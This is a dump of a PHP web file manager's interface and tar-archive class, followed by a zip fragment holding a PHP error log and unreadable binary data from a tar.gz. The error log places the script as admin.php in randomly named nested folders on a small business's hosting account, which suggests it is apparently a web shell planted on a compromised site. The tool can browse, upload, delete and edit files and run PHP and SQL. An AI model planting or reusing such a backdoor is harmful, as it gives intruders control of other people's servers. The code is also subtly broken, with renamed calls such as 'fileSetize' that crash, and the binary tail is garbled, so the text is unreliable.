unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fms_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fms_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fms_config['upload_myfile'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_local['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_local['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fileSet = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $fileSet[] = $file; } } natsort($dirs); natsort($fileSet); $elements = array_merge($dirs, $fileSet); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fms_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime_share = explode(' ', microtime()); $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php // Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus class archiveTar { var $archiveTitle = ''; var $temporaryFile = 0; var $filePointer = 0; var $isCompressedFile = true; var $errorList = array(); var $fileSet = array(); function __construct(){ if (!isset($this->errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK ���Z髯w� � error_lognu �[��� [21-Jun-2025 09:46:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [23-Jun-2025 01:35:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [05-Jul-2025 18:51:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/de.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 195 [06-Jul-2025 08:19:10 UTC] PHP Fatal error: Uncaught Error: Call to undefined function fileSetize() in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php:445 Stack trace: #0 /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php(1241): fm_download() #1 {main} thrown in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 445 [06-Jul-2025 08:19:12 UTC] PHP Fatal error: Uncaught Error: Call to undefined function fileSetize() in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php:445 Stack trace: #0 /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php(1241): fm_download() #1 {main} thrown in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 445 [06-Jul-2025 08:19:37 UTC] PHP Warning: Undefined variable $ext in /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php on line 2068 PK ���Z]g�&WX WX cbdfgdaesfd.tar.gznu �[��� � �ْ�H� ��k��$�+�d��p��N:�} �� � $ �Y)2��#2/�!��==�ݿP���/\[�$�U���*'`0SSS3SSSSS��5�6�M@������Ѩcz0����.F��p4���D($��$|L�vlx�ߤ���-�5C�>M�S�9nQa����"5�Q L�5y��%�>���|`D��N�ٜ�iF��:�����D(����HG���o�����/_A��˿��G(��_�6s":��gD�F�?Y8:����#I� 2,v��؈�\��kJޭ��Nfx���� I;^&f�4e�;N����P"�'h�cd�g8b-�:+F����Ȟ)�����τ�7����<z����,�� �J��H�$���$Ma�2�<���f�Ĉ ��Nһ�&�9�JS�����~"�ӆy~���Q~#�Ԟ��oB���B�7���F���8v��pV����S֧w��l�q����y��F� ^��7^E�����W# �C�!�4 _(�,����,�H�yx� � �7L�Ӭ����Q2#*�p��v���GBw�Bq�px t ,5�R����c%`��DjcHS!�;��/SG����(UnB�0Y�j��s��α<W㐧?!2�/x������3�N�����d��(q���]Z �7�������-ncBW/����J�!�9�R�7'0�x��L����/m9���ة`�'��X��}�����.3� �% O�#ˀ�K`��9aBq��l-����smO��`D����� �5]�6D�U%dj�1 3]�1���߃�*w s+i�#@c�N�1 r�n:���;��U� }��} 4X�x������i�i���#��E�8 ;B�) �Y���!�+4+2p�;��a'J`�r����*��1�+Ù!��݃E�g�naZ�wܕ ��=Y��2xW@�� rC� � � ߰S�G��K�r*O0 �S��@ �/2{D}�{r�$��v��� B�1S�6����Rу�BkI�p�9��`�����Ò�������x,N�����9VZ���DQ a zWDZ���b V�9fzU��ɏ��ߕ� M>�����Di�8U�`�R��Cd�)l����oh��,hM�yD�8�����������C�C?~OUa� E{��ҋ���HP`ʊ�g�bJ�{��u��:s�/�/zF� '�G���7ڣ���}���T������>{�����@[�r|� �wЩ��$��m� Q��f`�p�3�Vc�)����T~ );IbQ�O~O��C��xCC��5�F%�5�o\C:z�:v ��o\� a�� ��ĥ/����x�P<��H�M�h�)~O�� C?~��ʀ$����D �5��3H�(<By�{���H�_0��@�A�~�\��@��6�, �:P�@�A��DH�7[� �%�GY��X �-"�E��Hb�5���'0P��b�A:I�٠�d�;���0�Y �Ӕd��-��y���L�K�}*�i ��D�hA\��,ր>� ��,Ok��C� �g��@3�^��'��T���'[V��[�;�3����wP��%������^�W܁?4��D�g��BȗZl#�݆��F>�߽��^�������WB��0>�{��Q���mSʁ�r0�S@��7@/ ���D ��k0F�a�s���}3�T$�5u�@:߃ݕQ8`��ȌJ���Dp������J�3��Gi�.�a��=��`"�Sf �`b3���b&��FYx��v�"=w43� s{W%X�c\; V�)��!n8ȢJ@r(}2oM �;�I; Α�p�$�r;�g *B ^`� /`�k��0�n���M�h�� S �?K � d0E��~�Je@�%�y���; �J`������K���a��)�}G��w��)��/���;x��N]d��ރa�p�G"��m�/�E�h#�Z��"����D�Z�n�n( *@*\���1�6�&.�e�b�� Ԩ�7�vb�]�jԯ��b��\�&έ�be*�`��'��qMdd)ɠ3��@�"x#�.ĽT����@�� �^�1?j�'/����o����^,���ON9���` �P*B_���ت��k�9k$��R��n�;I Z�) �6f���ܮBÐ]ϝQ�j@p�G�' lYU�%v1Z@s�N�I聍�ȂG0��d%��)��(�n�i8�e�Ps�.^�5 l�X �Ț`���,h O��9@��1 ��A�⍲^-&���Kr l� �`Q�M��ȼ �Nm4�QQL_5ރ����&�CՌXҏ'+�j��L0~sO�#'����}�|J�4Y���ʃ�o���3z����,jd'��q����F�R��@1�@k�A/EU�A�0�JK�:��80�/�V��0����F�B����l@�R��) >c��}�5����7����h0H�z{��-f��M�AY@ �]����&����!a������B�{�,��/�Oj�u��~���[�v���l6��W�b/]�Å�u�i�����0�Y@�d��]o� Z� v��� ��F=��b�邰d#���S��e)�C⯆��Jˌ���}���j(� �%x����>�ĜS4u1(�t)�4eC�w����3��;q}2ߐ ?��S�f�b2Uv �F���(���>����+���;VK*. s���j��#��.�ЦD �����al��%�I����RÆ���N�e�v(ݻacG;�����g��E�λ�3ڶ ��+'Lҽ���HsV^�&pIS��S�Ç��# ��V�5+�j]��i��`g��{�)a��*: ��5HwvU�JyD^ ���,^V��b����j�J���H�w Ȱ�*�-����{�9�3����M]�5���i��{�|'�n�sੜm��s��ͧ��3]9���{�\Ϳ����V�B�����5]�{64�ۛ���3�����������gȝ���3��HPӘ��X�B�qO~ ̧;H���{Ҟ/�ӝ�?V��oo��I����w�e�NKߠ���d�s�@4�27����ЙPx&���Ɠ��J3o���$��N9c����7��{Qv`�iM�{�# /����<�o�5��t�W��]�����(�x��H� ��6��MXn�@�}p������v�O�!�Fy!�E�.�1�@=�~�� ���r����d��´���K�L&,O )�{<{TUt���X��P$ush�݁́hr���g,������@�++�]7.�'�ql�vC`2�x=�n���Qq��E< v�j��0P���,k^��-�}��;p�'�HÕ���[�3g���@aSfeT�k=��y k и� �;�c��S�o ���p�/Y������ 70��qv��w�� g�wp�5�~?�6���{�/D� ���h�I�#LW�l[��$��W1q����җ*r�ڑO,���9@� 1c�����)\}ϕ�p^��ܚ�ޚ�ښ��gng�c�ks�j��O�)Rܰ�!kAʈl�bK>�ꕸގ��^)PS�����AD�X�nmL,*5��l2ɨf�X�v�K�Gu��������D~�BA���A���و�F��ل{����E��z�{�>f ���0M}i�O�A��e�jޭ\h��e��t�C*�f��B�ذ� c[gi�l.��N�������C�����:����&8�yޕ�I�q���l�`R�+���$峛����I�` v%w�F9�� Ns���l�6�;jvQv�*h����;�&��ɖ�D�58��`WC�e �}��F�5H��%�D���`�:]�l]#]n������V1���;�tv�`y�)�n �r�� �(� E����3��t�����oڝ��(x8��0x8�FiYT����K��A)jR� ���Cw^~ �oAh$cLY�ߟܰ+���S�RA� 